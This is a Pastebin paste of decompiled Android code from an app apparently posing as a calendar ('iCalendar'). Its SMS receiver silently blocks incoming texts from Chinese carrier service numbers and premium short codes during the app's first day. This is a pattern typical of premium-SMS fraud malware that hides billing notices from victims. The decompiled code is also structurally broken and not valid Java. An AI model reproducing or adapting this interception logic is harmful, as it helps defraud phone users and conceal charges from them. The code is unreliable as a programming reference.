Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.mj.iCalendar;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.os.Bundle;
- import android.telephony.gsm.SmsMessage;
- public class SmsReceiver extends BroadcastReceiver
- {
- private static final String strRes = "android.provider.Telephony.SMS_RECEIVED";
- public void onReceive(Context paramContext, Intent paramIntent)
- {
- long l1 = System.currentTimeMillis();
- long l2 = iCalendar.iStartTime;
- long l3 = l1 - l2;
- Object[] arrayOfObject;
- SmsMessage[] arrayOfSmsMessage;
- int i;
- int k;
- int m;
- if ((paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) && (l3 <= 86400000L))
- {
- Bundle localBundle = paramIntent.getExtras();
- if (localBundle != null)
- {
- arrayOfObject = (Object[])localBundle.get("pdus");
- arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
- i = 0;
- int j = arrayOfObject.length;
- if (i < j)
- break label98;
- k = arrayOfSmsMessage.length;
- m = 0;
- }
- }
- while (true)
- {
- if (m >= k)
- {
- return;
- label98: SmsMessage localSmsMessage1 = SmsMessage.createFromPdu((byte[])arrayOfObject[i]);
- arrayOfSmsMessage[i] = localSmsMessage1;
- i += 1;
- break;
- }
- SmsMessage localSmsMessage2 = arrayOfSmsMessage[m];
- try
- {
- String str = localSmsMessage2.getDisplayOriginatingAddress();
- if (("10086".equals(str)) || ("10000".equals(str)) || ("10010".equals(str)) || ("1066185829".equals(str)) || ("1066133".equals(str)) || ("106601412004".equals(str)))
- abortBroadcast();
- m += 1;
- }
- catch (Exception localException)
- {
- while (true)
- abortBroadcast();
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement